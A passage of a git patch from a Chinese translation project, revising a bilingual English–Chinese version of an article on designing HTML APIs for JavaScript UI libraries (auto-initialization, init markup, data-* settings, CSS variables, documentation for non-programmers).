+比如 [Prism](http://prismjs.com/)，时下流行的语法高亮类库，在这里也使用了 Smashing Magazine。高亮语言是通过 `languate-xxx` 形式的类来配置高亮语言。是的，这违反了我们在前文中谈过的规则，但是这只是一种主观决定，仅仅是因为在 [HTML5 说明中建议如此而已](https://www.w3.org/TR/html51/textlevel-semantics.html#the-code-element)。在有许多代码段的页面上（想象一下，在博客文章中使用内联 `<code>` 元素的频率！），在每个 `<code>` 元素中指定代码语言将会非常烦人。为了缓解这种痛苦，Prism 支持继承这些类：如果一个 `<code>` 元素自己没有 `language-xxx` 类，那么将会使用最近的祖先元素的 `language-xxx` 类。这使得用户可以设置全局的代码语言（通过在 `<body>` 或者 `<html>` 元素上设置类）或者设置区块的代码语言，并且可以在拥有不同语言的元素或者区块上重写设置。
+
 Now that [CSS variables](https://www.w3.org/TR/css-variables/) are [supported by every browser](http://caniuse.com/#feat=css-variables), they are a good candidate for such settings: They are inherited by default and can be set inline via the `style` attribute, via CSS or via JavaScript. In your code, you get them via `getComputedStyle(element).getPropertyValue("--variablename")`. Besides browser support, their main downside is that developers are not yet used to them, but that is changing. Also, you cannot monitor changes to them via `MutationObserver`, like you can for elements and attributes.
 
+既然 [CSS 变量](https://www.w3.org/TR/css-variables/)已经得到[所有的浏览器支持](http://caniuse.com/#feat=css-variables)，他们可以用于以下设置：他们默认可以被继承，并且可以以内联的方式通过 `style` 属性设置，也可以通过 CSS 或者 JavaScript 设置。在代码中，你可以通过 `getComputedStyle(element).getPropertyValue("--variablename")` 获取它们。除了浏览器支持，它们的不利之处还有开发者们并不习惯使用，但是那已经发生改变了。并且，你不能通过 `MutationObserver` 来监视其改变，就像你监视元素和属性的改变一般。
+
 ### Global Settings ###
 
+###全局设置###
+
 Most UI libraries have two groups of settings: settings that customize how each instance of the widget behaves, and global settings that customize **how the library behaves**. So far, we have mainly discussed the former, so you might be wondering what is a good place for these global settings.
 
+大多数 UI 类库都有两组设置：定义每个组件表现形式的设置和定义整个类库表现形式的全局设置。目前为止，我们主要讨论了前者，因此你现在可能在好奇全局设置有什么好用的地方。
+
 One candidate is the `<script>` element that includes your library. You can get this via [`document.currentScript`](http://www.2ality.com/2014/05/current-script.html), and it has very good [browser support](http://caniuse.com/#feat=document-currentscript). The advantage of this is that it’s unambiguous what these settings are for, so their names can be shorter (for example, `data-filter`, instead of `data-stretchy-filter`).
 
+有一个好处就是 `<script>` 元素可以被引入类库。你可以通过 [`document.currentScript`](http://www.2ality.com/2014/05/current-script.html) 获取该元素，并且这有着非常好的[浏览器支持](http://caniuse.com/#feat=document-currentscript)。好处就是，这对于设置的作用域非常清楚，因此它们的名字可以起的更短（比如 `data-filter` 而不是 `data-stretchy-filter`）。
+
 However, the `<script>` element should not be the only place you pick up these settings from, because some users may be using your library in a CMS that does not allow them to customize `<script>` elements. You could also look for the setting on the `<html>` and `<body>` elements or even anywhere, as long as you have a clearly stated policy about which value wins when there are duplicates. (The first one? The last one? Something else?)
 
+然而，你不能只在 `<script>` 元素中进行设置，因为一些用户可能会在 CMS 中使用你的类库，而 CMS 中不允许用户自定义 `<script>` 元素。你也可以在 `<html>` 和 `<body>` 元素或者甚至任何地方设置，只要你清楚地声明了当有属性值重复的时候哪个会生效。（第一个？最后一个？还是其他的？）
+
 ### Documentation ###
 
+###文档###
+
 So, you’ve taken care to design a nice declarative API for your library. Well done! However, if all of your documentation is written as if the user understands JavaScript, few will be able to use it. I remember seeing a cool library for toggling the display of elements based on the URL, via HTML attributes on the elements to be toggled. However, its nice HTML API could not be used by the people it targeted because the entire documentation was littered with JavaScript references. The very first example started with, “This is equivalent to `location.href.match(/foo/)`.” What chance does a non-programmer have to understand this?
 
+那么，你已经掌握了如何在类库中设置一个漂亮的声明性的 API。棒极了！然而，如果你所有的文档都写得只有了解 JavaScript 的用户才看得懂，那么就只有很少人能使用了。我记得曾经看过一个很酷的类库，基于 URL 并通过切换元素的 HTML 属性来切换元素的表现形式。然而，这漂亮的 HTML API 并不能被其目标人群所使用，因为整篇文档中都充满了 JavaScript 引用。最开始的例子是这样开始的“这和 `location.href.match(/foo/)` 等价。”非程序员哪能看懂这个呢？
+
 Also, remember that many of these people do not speak any programming language, not just JavaScript. Do not talk about models, views, controllers or other software engineering concepts in text that you expect them to read and understand. All you will achieve is confusing them and turning them away.
 
+同时要记得许多人并不会任何编程语言，不只是 JacaScript。并不知道你所期望用户读懂和理解的文中的模型、视图、控制器或者其他软件工程观念，结果无非是让他们摸不着头难并且放弃。
+
 Of course, you should document the JavaScript parts of your API as well. You could do that in an “Advanced usage” section. However, if you start your documentation with references to JavaScript objects and functions or software engineering concepts, then you’re essentially telling non-programmers that this library is not for them, thereby excluding a large portion of your potential users. Sadly, most documentation for libraries with HTML APIs suffers from these issues, because HTML APIs are often seen as a shortcut for programmers, not as a way for non-programmers to use these libraries. Hopefully, this will change in the future.
 
+当然，你也应该在文档中写 API 中的 JavaScript 部分内容，你可以写在“高级使用”部分。然而，如果你在文档一开头就引用 JavaScript 对象和函数或者软件工程观念，那么你实质上就是在告诉非程序员这个类库不是给他们用的，因此你就排除了一大批潜在用户。不幸的是，大部分的 HTML API 类库文档都受这些问题困扰着，因为 HTML API 经常被视为是是程序员的捷径，而并不是给非程序员使用的。庆幸的是，这种状况在未来可以有改变。
+
 ### What About Web Components? ###
 
+###那么 Web 组件呢？###
+
 In the near future, the Web Components quartet of specifications will revolutionize HTML APIs. The `<template>` element will enable authors to provide scripts with partial inert markup. Custom elements will enable much more elegant `init` markup that resembles native HTML. HTML imports will enable authors to include just one file, instead of three style sheets, five scripts and ten templates (if Mozilla gets its act together and [stops thinking that ES6 modules are a competing technology](https://hacks.mozilla.org/2014/12/mozilla-and-web-components)). The Shadow DOM will enable your library to have complex DOM structures that are properly encapsulated and that do not interfere with the user’s own markup.
 
+在不远的未来，Web 组件四分之一的规格将会彻底改变 HTML API。`<template>` 元素将会使得作者提供惰性加载的脚本。自定义元素将能运用更多的 `init` 标记来组建原生的 HTML。引入 HTML 也将使得作者能够仅引入一个文件来替代三个样式表、五个脚本和十个模板（如果浏览器能够同时获取并且[不再认为 ES6 模块是不友好的技术](https://hacks.mozilla.org/2014/12/mozilla-and-web-components)）。Shadow DOM 使得类库可以将复杂的 DOM 结构适当压缩并且不会影响用户自己的标记。
+
 However, `<template>` aside, browser support for the other three is [currently limited](http://caniuse.com/#search=web%20components). So, they require large polyfills, which makes them less attractive for library use. However, it’s something to keep on your radar for the near future.
 
+然而，`<template>` 那边，浏览器对其他三个的支持[目前受限](http://caniuse.com/#search=web%20components)。因此他们需要更高的聚合度，以此来减少对类库的影响。然而，这将会是你在未来一段时间里时刻关注的东西。
+
 ### MarkApp: A List Of Libraries With HTML APIs
 
+### MarkApp：一个 HTML API 类库的列表
+
 If you’ve followed the advice in this article, then congratulations on making the web a better, more inclusive space to be creative in! I try to maintain a list of all libraries that have HTML APIs on [MarkApp](http://markapp.io/). Send a pull request and add yours, too!
+
+如果你已经遵循了这篇文章中的建议，那么恭喜你已经能够把网站做得更好，更有内涵和创造性了！我在 [MarkApp](http://markapp.io/) 上维护着一些使用 HTML API 类库的列表。请也发 Pull Request 给我，来添加你自己的内容！

From 7861a92e29ac0a10dd6c134252e28d9dcf41a019 Mon Sep 17 00:00:00 2001
From: Romeo <romeo0906@foxmail.com>
Date: Mon, 1 May 2017 21:53:58 +0800
Subject: [PATCH 305/638] =?UTF-8?q?=E7=BF=BB=E8=AF=91=E5=88=9D=E7=A8=BF?=
 =?UTF-8?q?=E5=AE=9A=E7=A8=BF?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/designing-html-apis.md | 76 ++++++++++++++++++-------------------
 1 file changed, 38 insertions(+), 38 deletions(-)

diff --git a/TODO/designing-html-apis.md b/TODO/designing-html-apis.md
index 72eda8f5f61..3cab8583976 100644
--- a/TODO/designing-html-apis.md
+++ b/TODO/designing-html-apis.md
@@ -10,11 +10,11 @@
 
 As JavaScript developers, we often forget that not everyone has the same knowledge as us. It’s called the [curse of knowledge](https://en.wikipedia.org/wiki/Curse_of_knowledge): When we’re an expert on something, we cannot remember how confused we felt as newbies. We overestimate what people will find easy. Therefore, we think that requiring a bunch of JavaScript to initialize or configure the libraries we write is OK. Meanwhile, some of our users struggle to use them, frantically copying and pasting examples from the documentation, tweaking them at random until they work.
 
-作为 JavaScript 开发者，我们经常忘记并不是所有人都拥有像我们一样的学识。这被称为[知识的诅咒](https://en.wikipedia.org/wiki/Curse_of_knowledge)：当我们精通某个内容的时候，我们就不记得自己作为新人的时候有多么困惑。我们总是对人们的能力估计过高。因此，我们认为自己写的那些需要一些 JavaScript 代码去初始化或者配置的类库是完全没问题的。然而，一些用户却在使用中费劲力气，他们疯狂地从文档中复制粘贴例子并随机组合这些代码，直到它们生效。
+作为 JavaScript 开发者，我们经常忘记并不是所有人都像我们一样了解 JavaScript，这被称为[知识的诅咒](https://en.wikipedia.org/wiki/Curse_of_knowledge)：当我们精通某个内容的时候，我们就不记得自己作为新人的时候有多么困惑。我们总是对其他人的能力估计过高，因此我们觉得，自己写的类库需要一些 JavaScript 代码去初始化和配置也很 OK。然而，一些用户却在使用过程中大费周折，他们疯狂地从文档中复制粘贴例子并随机组合这些代码，直到它们生效。
 
 You might be wondering, “But all HTML and CSS authors know JavaScript, right?” Wrong. Take a look at the results of [my poll](https://twitter.com/LeaVerou/status/690583334414635009), which is the only data on this I’m aware of. (If you know of any proper studies on this, please mention them in the comments!)
 
-你或许会想，“但是所有写 HTML 和 CSS 的人都懂 JavaScript，对吧？”你错了。来看看我的[测验结果](https://twitter.com/LeaVerou/status/690583334414635009)吧，这是我所知道的唯一数据了。（如果你知道任何适用于这个主题的研究，请在评论中说明！）
+你或许会想，“但是所有写 HTML 和 CSS 的人都会 JavaScript，对吧？”你错了。来看看我的[测验结果](https://twitter.com/LeaVerou/status/690583334414635009)吧，这是我所知道的唯一数据了。（如果你知道任何适用于这个话题的调查，请在评论中说明！）
 
 ![](https://www.smashingmagazine.com/wp-content/uploads/2017/02/lea-verou-poll-tweet-opt.png) 
 
@@ -24,11 +24,11 @@ Poll: “How comfortable are you with JavaScript?” ([22 January 2016](https://
 
 One in two people who write HTML and CSS is **not comfortable with JavaScript**. One in two. Let that sink in for a moment.
 
-每两个写 HTML 和 CSS 的人中就有一个**对 JavaScript 并无好感**。每两个中就有一个，让我们感受一下。
+每两个写 HTML 和 CSS 的人中就有一个**对 JavaScript 没有好感**。1/2，让我们感受一下这个比例。
 
 As an example, look at the following code to initialize a jQuery UI autocomplete, taken from [its documentation](https://jqueryui.com/autocomplete/):
 
-举个例子，看一下以下用来初始化一个 jQuery UI 自动完成库的代码，摘自[文档](https://jqueryui.com/autocomplete/)。
+举个例子，来看以下的代码，该代码用来初始化一个 jQuery UI 自动完成库，摘自[其文档](https://jqueryui.com/autocomplete/)。
 
 ```
 <div class="ui-widget">
@@ -51,11 +51,11 @@ $( function() {
 
 This is easy, even for people who don’t know any JavaScript, right? Wrong. A non-programmer would have all sorts of questions going through their head after seeing this example in the documentation. “Where do I put this code?” “What are these braces, colons and brackets?” “Do I need them?” “What do I do if my element does not have an ID?” And so on. Even this tiny snippet of code requires people to understand object literals, arrays, variables, strings, how to get a reference to a DOM element, events, when the DOM is ready and much more. Things that seem trivial to programmers can be an uphill battle to HTML authors with no JavaScript knowledge.
 
-这很简单，即使对根本不了解 JavaScript 的人来说也是这样，对吧？错。一个非程序员在文档中看到这个例子的时候，脑子里会闪过各种各样的问题。“我该把这段代码放哪儿呢？”“这些花括号、冒号和方括号是些什么鬼？”“我用得着这些吗？”“如果我的元素没有 ID 我该怎么办呢？”等等。即使这个微乎其微的代码段也要求人们了解对象字面量、数组、变量、字符串、如何获取 DOM 元素的引用、事件、 DOM 数何时构建完毕等等更多知识。对于程序员来说微不足道的事情，对没有 JavaScript 知识的 HTML 作者来说都是一场攻坚战。
+这很简单，即使对那些根本不会 JavaScript 的人来说也很简单，对吧？错。一个非程序员在文档中看到这个例子的时候，脑子里会闪过各种问题：“我该把这段代码放哪儿呢？”“这些花括号、冒号和方括号是些什么鬼？”“我要用这些吗？”“如果我的元素没有 ID 怎么办？”等等。即使这段极其简短的代码也要求人们了解对象字面量、数组、变量、字符串、如何获取 DOM 元素的引用、事件、 DOM 树何时构建完毕等等更多知识。这些对于程序员来说微不足道的事情，对不会 JavaScript 的只会写 HTML 的人来说都是一场攻坚战。
 
 Now consider the equivalent declarative code [from HTML5](https://www.w3.org/TR/html5/forms.html#the-datalist-element):
 
-现在来考虑一下 [HTML5](https://www.w3.org/TR/html5/forms.html#the-datalist-element) 中的等效声明性代码：
+现在来看一下 [HTML5](https://www.w3.org/TR/html5/forms.html#the-datalist-element) 中的等效声明性代码：
 
 ```
 <div class="ui-widget">
@@ -73,23 +73,23 @@ Now consider the equivalent declarative code [from HTML5](https://www.w3.org/TR/
 
 Not only is this much clearer to anyone who can write HTML, it is even easier for programmers. We see that everything is set in one place, no need to care about when to initialize, how to get a reference to the element and how to set stuff on it. No need to know which function to call to initialize or which arguments it accepts. And for more advanced use cases, there is also a JavaScript API in place that allows all of these attributes and elements to be created dynamically. It follows one of the most basic API design principles: It makes the simple easy and the complex possible.
 
-这不光对于那些能够写 HTML 的人来说简单了不少，甚至对程序员来说更为简单。我们看到所有的东西都被写在一个地方，不必关心什么时候初始化，如何获取元素的引用和如何设置，无需知道哪个函数是用来初始化或者它需要什么参数。在更高级的使用中，还会在允许动态创建属性和元素的地方添加一个 JavaScript API。这遵循了一条最基本的 API 设计原则：它是的简单的事物变得容易，让复杂的事物变得可能。
+这让会写 HTML 的人感觉更加清楚明白，对程序员来说甚至更为简单。我们看到所有的内容都同时被设置好，不必关心什么时候初始化，如何获取元素的引用和如何设置每个内容，无需知道哪个函数是用来初始化或者它需要什么参数。在更高级的使用情况中，还会添加一个 JavaScript API 来允许动态创建属性和元素。这遵循了一条最基本的 API 设计原则：让简单的内容变得更简单，让复杂的内容得以实现。
 
 This brings us to **an important lesson about HTML APIs**: They would benefit not only people with limited JavaScript skill. For common tasks, even we, programmers, are often eager to sacrifice the flexibility of programming for the convenience of declarative markup. However, we somehow forget this when writing a library of our own.
 
-这给我们上了一堂**关于 HTML API 的重要课程**：这不光使那些拥有有限的 JavaScript 技能的人受益。对于普通的任务，甚至我们，程序员，也会渴望牺牲程序的灵活性来换取更高的表述性。然而不知怎的，我们在写自己用的类库的时候却总是忘记这些。
+这给我们上了一堂**关于 HTML API 的重要课程**：HTML API 不光要给那些了解 JavaScript 但水平有限的人带来福音，还要让我们，程序员，在普通的工作中也要不惜牺牲程序的灵活性来换取更高的表述性。然而不知怎的，我们在写自己的类库的时却总忘记这些。
 
 So, what is an HTML API? [According to Wikipedia](https://en.wikipedia.org/wiki/Application_programming_interface), an API (or application programming interface) is “is a set of subroutine definitions, protocols, and tools for building application software.” In an HTML API, the definitions and protocols are in the HTML itself, and the tools look in HTML for the configuration. HTML APIs usually consist of certain class and attribute patterns that can be used on existing HTML. With Web Components, even [custom element names](https://www.w3.org/TR/custom-elements/)are game, and with the [Shadow DOM](https://dom.spec.whatwg.org/#shadow-trees), those can even have an entire internal structure that is hidden from the rest of the page’s JavaScript or CSS. But this is not an article about Web Components; Web Components give more power and options to HTML API designers; but the principles of good (HTML) API design are the same.
 
-那么什么是 HTML API 呢？根据[维基百科](https://en.wikipedia.org/wiki/Application_programming_interface)的定义,API（也就是应用程序接口）是“子程序定义、协议和构建应用软件的工具的合集”。在 HTML API 中，定义和协议都在 HTML 中实现，工具也在 HTML 中配置。HTML API 通常由特定的类和可用于先有的 HTML 的属性模式组成。通过 Web 组件（甚至[自定义元素名称](https://www.w3.org/TR/custom-elements/)都是游戏）和[Shadow DOM](https://dom.spec.whatwg.org/#shadow-trees)，HTML API 甚至能拥有完整的内部结构，隐藏在页面其余的 JavaScript 或者 CSS 中。但是这并不是一篇关于 Web 组件的文章，Web 组件给予了 HTML API 设计者更多的能力和选择，但是良好的（HTML）API 设计原则都是相同的。
+那么什么是 HTML API 呢？根据[维基百科](https://en.wikipedia.org/wiki/Application_programming_interface)的定义,API（也就是应用程序接口）是“用于构建应用程序软件的一组子程序定义、协议和工具”。在 HTML API 中，定义和协议就是 HTML ，工具在 HTML 中配置。HTML API 通常由可用于现有的类和属性模式组成。通过 Web 组件，甚至可以像玩游戏一般[自定义元素名称](https://www.w3.org/TR/custom-elements/)，和[Shadow DOM](https://dom.spec.whatwg.org/#shadow-trees)，HTML API 甚至能拥有完整的内部结构，并隐藏在页面其余的 JavaScript 或者 CSS 中。但是这并不是一篇关于 Web 组件的文章，Web 组件给予了 HTML API 设计者更多的能力和选择，但是良好的（HTML）API 设计原则都是可以举一反三的。
 
 HTML APIs improve collaboration between designers and developers, lift some work from the shoulders of the latter, and enable designers to create much higher-fidelity mockups. Including an HTML API in your library does not just make the community more inclusive, it also ultimately comes back to benefit you, the programmer.
 
-HTML API 加强了设计师和工程师之间的合作，减轻工程师肩上的工作负担，还能让设计师创造更具有忠诚度的原型。在类库中引入 HTML API 不仅让社区更具包容性，最终还能反过来让程序员受益。
+HTML API 加强了设计师和工程师之间的合作，减轻工程师肩上的工作负担，还能让设计师创造更具有忠诚度的原型。在类库中引入 HTML API 不仅让社区更具包容性，最终还能造福程序员。
 
 **Not every library needs an HTML API.** HTML APIs are mostly useful in libraries that enable UI elements such as galleries, drag-and-drop, accordions, tabs, carousels, etc. As a rule of thumb, if a non-programmer cannot understand what your library does, then your library doesn’t need an HTML API. For example, libraries that simplify or help to organize code do not need an HTML API. What kind of HTML API would an MVC framework or a DOM helper library even have?
 
-**并不是每个类库都需要  HTML API。**HTML API 在使用了 UI 元素的类库中非常有用，比如 galleries、drag-and-drop、accordions、tabs、carousels 等等。第一要务便是，如果一个非程序员不能理解你的类库是干什么的，那么它就不需要 HTML API。比如，那些简化代码或者帮助管理代码的类库就不需要 HTML API。那么 MVC 框架或者 DOM 助手类库应该用什么样的 HTML API 呢？
+**并不是每个类库都需要  HTML API。**HTML API 在使用了 UI 元素的类库中非常有用，比如 galleries、drag-and-drop、accordions、tabs、carousels 等等。经验表明，如果一个非程序员不能理解该类库的功能，它就不需要 HTML API。比如，那些简化代码或者帮助管理代码的库就不需要 HTML API。那 MVC 框架或者 DOM 助手之类的库又怎会需要 HTML API 呢？
 
 So far, we have discussed what an HTML API is, why it is useful and when it is needed. The rest of this article is about how to design a good one.
 
@@ -101,19 +101,19 @@ So far, we have discussed what an HTML API is, why it is useful and when it is n
 
 With a JavaScript API, initialization is strictly controlled by the library’s user: Because they have to manually call a function or create an object, they control precisely when it runs and on what. With an HTML API, we have to make that choice for them, and make sure not to get in the way of the power users who will still use JavaScript and want full control.
 
-在 JavaScript API 中，初始化是被类库的用户严格控制的：因为他们必须手动调用函数或者创建对象，他们精确地控制着运行的时间和基础。在 HTML API 中，我们必须帮用户做选择并且还要确保不会妨碍那些强势的仍然使用 JacaScript 并且想要得到完全控制权的用户。
+在 JavaScript API 中，初始化是被类库的用户严格控制的：因为他们必须手动调用函数或者创建对象，他们精确地控制着其运行的时间和基础。在 HTML API 中，我们必须帮用户选择并且还要确保不会妨碍那些仍然使用 JavaScript 并希望完全控制的用户。
 
 The common way to resolve the tension between these two use cases is to only auto-initialize elements that match a given selector, usually a specific class. [Awesomplete](http://leaverou.github.io/awesomplete) follows this approach, only picking up input elements with `class="awesomplete"`.
 
-最常见的解决两种使用场景的办法就是只有匹配到一个给定的选择器，通常是一个特定的类，的时候才会自动初始化。[Awesomplete](http://leaverou.github.io/awesomplete) 就是采用的这种方法，只选取输入的具有 `class="awesomplete"` 的元素。
+最常见的兼容两种使用场景的办法就是，只有匹配到给定的选择器（通常是一个特定的类）时才会自动初始化。[Awesomplete](http://leaverou.github.io/awesomplete) 就是采用的这种方法，只选取具有 `class="awesomplete"` 的元素进行初始化。
 
 In some cases, making auto-initialization easy is more important than making opt-in explicit. This is common when your library needs to run on a lot of elements, and when avoiding having to manually add a class to every single one is more important than making opt-in explicit. For example, [Prism](http://prismjs.com/) automatically highlights any `<code>` element that contains a `language-xxx` class (which is what the HTML5 specification [recommends for specifying the language of a code snippet](https://www.w3.org/TR/html51/textlevel-semantics.html#the-code-element)) or that is inside an element that does. This is because it could be included in a blog with a ton of code snippets, and having to go back and add a class to every single one of them would be a huge hassle.
 
-有些时候，把自动初始化变得简单比做详尽的选项说明更重要。这是一个很常见的现象，当你的类库需要在非常多的元素上运行的时候，避免手动给每个单独元素添加类比详细的选项说明更加重要。比如，[Prism](http://prismjs.com/) 自动高亮任何包含 `language-xxx` 类的 `<code>` 元素（HTML5 的说明中[建议指定代码段的语言](https://www.w3.org/TR/html51/textlevel-semantics.html#the-code-element)）以及其内部的元素。这是因为 Prism 可能会用在一个有着成千上万的代码段的博客系统中，回过头去给每一个元素添加类会是一项非常巨大的工程。
+有时候，简化自动初始化比做显式选择初始化更重要。这很常见，当你的类库需要运行在众多元素之上时，避免手动给每个元素单独添加类比显式选择初始化更加重要。比如，[Prism](http://prismjs.com/) 自动高亮任何包含 `language-xxx` 类的 `<code>` 元素（HTML5 的说明中[建议指定代码段的语言](https://www.w3.org/TR/html51/textlevel-semantics.html#the-code-element)）及其内部的元素。这是因为 Prism 可能会用在一个有着成千上万代码段的博客系统中，回过头去给每一个元素添加类将会是一项非常巨大的工程。
 
 In cases where the `init` selector is used very liberally, a good practice is to allow customization of it or allow opting-out of auto-initialization altogether. For example, [Stretchy](https://leaverou.github.io/stretchy)[13](#13) autosizes *every*`<input>`, `<select>` and `<textarea>` by default, but allows customization of its `init` selector to something more specific via a `data-stretchy-filter` attribute. Prism supports a `data-manual` attribute on its `<script>` element to completely disable automatic initialization. A good practice is to allow this option to be set via either HTML or JavaScript, to accommodate both types of library users.
 
-在非常自由地使用 `init` 选择器的情况下，允许自定义或者完全不自动化会是一个良好的实践。比如，[Stretchy](https://leaverou.github.io/stretchy)<sup>[\[1\]](#note1)</sup> 默认地设置**每个** `<input>`、`<select>` 和 `<textarea>` 的大小，但是也允许通过 `data-stretchy-filter` 属性自定义设置其他特定的元素为 `init` 选择器。Prism 支持 `<script>` 元素的 `data-manual` 属性来完全取消自动初始化。良好的实践应该使得 HTML 和 JacaScript 都能设置这个选项，来适应 HTML 和 JavaScript 两种类库的用户。
+在可以自由地使用 `init` 选择器的情况下，允许选择是否自动化将会是一个良好的实践。比如，[Stretchy](https://leaverou.github.io/stretchy) 默认自动调整**每个** `<input>`、`<select>` 和 `<textarea>` 的尺寸，但是也允许通过 `data-stretchy-filter` 属性自定义设置其他指定元素为 `init` 选择器。Prism 支持 `<script>` 元素的 `data-manual` 属性来完全取消自动初始化。良好的实践应该允许 HTML 和 JavaScript 都能设置这个选项，来适应 HTML 和 JavaScript 两种类库的用户。
 
 ### Minimize Init Markup  ###
 
@@ -121,19 +121,19 @@ In cases where the `init` selector is used very liberally, a good practice is to
 
 So, for every element the `init` selector matches, your library needs a wrapper around it, three buttons inside it and two adjacent divs? No problem, but generate them yourself. This kind of grunt work is better suited to machines, not humans. **Do not expect that everyone using your library is also using some sort of templating system**: Many people are still hand-crafting markup and find build systems too complicated. Make their lives easier.
 
-那么，对于每个符合 `init` 选择器的元素来说，你的类库需要它的外层元素，三个内部的 button 和两个相邻的 div 该怎么办呢？没问题，但是你需要自己生成。这种墨迹的工作更适合机器，而不是人。**不要期望每个使用类库的人都在同时使用一些模板系统**：许多人还在使用手动标记并且发现在某些类库中建造系统太过于复杂。因此，让他们活的轻松点不好吗？
+那么，对于 `init` 选择器的每个元素来说，你的类库都需要其有一个封包、三个内部的 button 和两个相邻的 div 该怎么办呢？没问题，自己生成就好了。但是这种磨磨唧唧的工作更适合机器，而不是人。**不要期望每个使用类库的人都同时使用了一些模板系统**：许多人还在使用手动添加标记，他们会发现这样建造系统太过复杂。因此，我们有义务让他们活的轻松一点。
 
 This also minimizes error conditions: What if a user includes the class that you expect for initialization but not all of the markup you need? When there is no extra markup to add, no such errors are possible.
 
-这也最小化了错误风险：如果一个用户仅仅引入了用来初始化的类却没有引入所有需要的标记呢？如果不需要添加额外的标记，就不会有这样的错误。
+这种做法也最小化了错误风险：如果一个用户仅仅引入了用来初始化的类却没有引入所有需要的标记怎么办？如果不需要添加额外的标记，就不会产生错误。
 
 There is one exception to this rule: graceful degradation and progressive enhancement. For example, embedding a tweet involves a lot of markup, even though a single element with `data-*` attributes for all the options would suffice. This is done so that the tweet is readable even before the JavaScript loads or runs. A good rule of thumb is to ask yourself, does the extra markup offer a benefit to the end user even without JavaScript? If so, then requiring it is OK. If not, then generate it with your library.
 
-但是这条规则中有这样个例外：优雅地退化并且渐进式增强。比如，要嵌入一个有很多标记的推文，即使单独的具有 `data-*` 属性的一个元素就足够实现所有的内容。在 JavaScript 加载和运行之前就使得推文可读，这样才算实现内容。良好的设计规则里的首条内容就是扪心自问，即使在没有 JavaScript 的时候，多余的标记是否也能让终端用户受益？如果是，那么就引入。如果不是，那就先用你的类库生成。
+这条规则中有一个例外：优雅地退化并渐进地增强。比如，即使单个具有“ data- * ”属性的元素并在“ data-* ”中添加所有选项就可以实现，在嵌入推文的时候也还是会涉及很多标记。这样做是为了在 JavaScript 加载和运行之前就使得推文可读。一个良好的经验法则就是扪心自问，即使在没有 JavaScript ，多余的标记能否给终端用户带来好处？如果是，那么就引入；如果不是，那就要用类库生成。
 
 There is also the classic tension between ease of use and customization: Generating all of the markup for the library’s user is easier for them, but leaving them to write it gives them more flexibility. **Flexibility is great when you need it, but annoying when you don’t**, and you still have to set everything manually. To balance these two needs, you can generate the markup you need if it doesn’t already exist. For example, suppose you wrap all `.foo` elements with a `.foo-container` element? First, check whether the parent — or, better yet, any ancestor, via `element.closest(".foo-container")` — of your `.foo` element already has the `foo-container` class, and if so, use that instead of creating a new element.
 
-还有一个经典的矛盾，便于用户使用还是让用户自定义：自动生成所有的标记会让用户易于使用，让他们自己去定义又显得更加灵活。**在你需要的时候，灵活性便如雪中送炭，在不需要的时候反而会适得其反，**因为你不得不手动设置所有的参数。为了平衡这两种需要，你可以生成那些需要但不存在的标记。比如，假设你需要给所有的 `.foo` 元素外层添加一个 `.foo-container` 元素。首先，通过 `element.closest(".foo-container")` 检查 `.foo` 元素的父元素或者任何的上级元素是否含有 `foo-container` 类，如果有的话，你就不用生成新的元素，直接使用就可以了。
+便于用户使用还是让用户自定义也是一组经典的矛盾：自动生成所有的标记会易于用户使用，让用户自定义又显得更加灵活。**在你需要的时候，灵活性如雪中送炭，在不需要的时候却适得其反，**因为你不得不手动设置所有的参数。为了平衡这两种需要，你可以生成那些需要但不存在的标记。比如，假设你需要给所有的 `.foo` 元素外层添加一个 `.foo-container` 元素。首先，通过 `element.closest(".foo-container")` 检查 `.foo` 元素的父元素或者任何的祖先元素（这样最好了）是否含有 `foo-container` 类，如果有的话，你就不用生成新的元素，直接使用就可以了。
 
 ### Settings ###
 
@@ -141,35 +141,35 @@ There is also the classic tension between ease of use and customization: Generat
 
 Typically, settings should be provided via `data-*` attributes on the relevant element. If your library adds a ton of attributes, then you might want to namespace them to prevent collisions with other libraries, like `data-foo-*` (where foo is a one-to-three letter prefix based on your library’s name). If that’s too long, you could use `foo-*`, but bear in mind that this will break HTML validation and might put some of the more diligent HTML authors off your library because of it. Ideally, you should support both, if it won’t bloat your code too much. None of the options here are ideal, so there is an ongoing [discussion](https://github.com/whatwg/html/issues/2271) in the WHATWG about whether to legalize such prefixes for custom attributes.
 
-典型的方法应该是在恰当的元素上使用 `data-*` 属性来进行设置。如果你的类库中添加了成千上万的属性，然后你希望给它们添加明明空间来避免和其他类库混淆，比如这样 `data-foo-*`（foo 是基于类库名字的一到三个字母长度的前缀）。如果那样名字显得太长，你可以使用 `foo-*`，但是要有心理准备，这种方式会打破 HTML 验证并且会影响一些勤勉的 HTML 作者因此而弃用你的类库。理想情况下，只要代码不会太臃肿，以上两种情况都应该支持。目前还没有完美的解决办法，因此在 WHATWG 中展开了一场如火如荼的[讨论](https://github.com/whatwg/html/issues/2271)，论题即是否应该合法化这些自定义属性的前缀。
+典型地，设置应该通过在恰当的元素上使用 `data-*` 属性来实现。如果你的类库中添加了成千上万的属性，然后你希望给它们添加命名空间来避免和其他类库混淆，比如这样 `data-foo-*`（foo 是基于类库名字的一到三个字母长度的前缀）。如果名字显得太长，你可以使用 `foo-*`，但是要有心理准备，这种方式会打破 HTML 验证并且会使得一些勤劳的 HTML 作者因此而弃用你的类库（因为他们宁愿费点力气，也不愿意使用这种命名。译者注。）。理想情况下，只要代码不会太臃肿，以上两种情况都应该支持。目前还没有完美的解决办法，因此在 WHATWG 中展开了一场如火如荼的[讨论](https://github.com/whatwg/html/issues/2271)：是否应该让自定义的属性前缀合法化。
 
 **Follow the conventions of HTML as much as possible.** For example, if you use an attribute for a boolean setting, its presence means `true` regardless of the value, and its absence means `false`. Do not expect things like `data-foo="true"` or `data-foo="false"` instead. Sure, ARIA does that, but if ARIA jumped off a cliff, would you do it, too?
 
-**尽可能地遵守 HTML 的规定。**比如，你使用了一个属性来做布尔类型的设置，当该属性出现时无论任何的值都被视为 `true`，若不出现则被视为 `false`。不要期望者可以用 `data-foo="true"` 或者 `data-foo="false"` 来代替。当然 ARIA 是这样做的，但是如果 ARIA 突然跳崖了，你也想跳吗？
+**尽可能地遵从 HTML 的规定。**比如，你使用了一个属性来做布尔类型的设置，当该属性出现时无论其值如何都被视为 `true`，若不出现则被视为 `false`，不要期望可以用 `data-foo="true"` 或者 `data-foo="false"` 来代替。当然 ARIA 是这样做的，但是如果 ARIA 哪天突然死翘翘了，你也想那样吗？
 
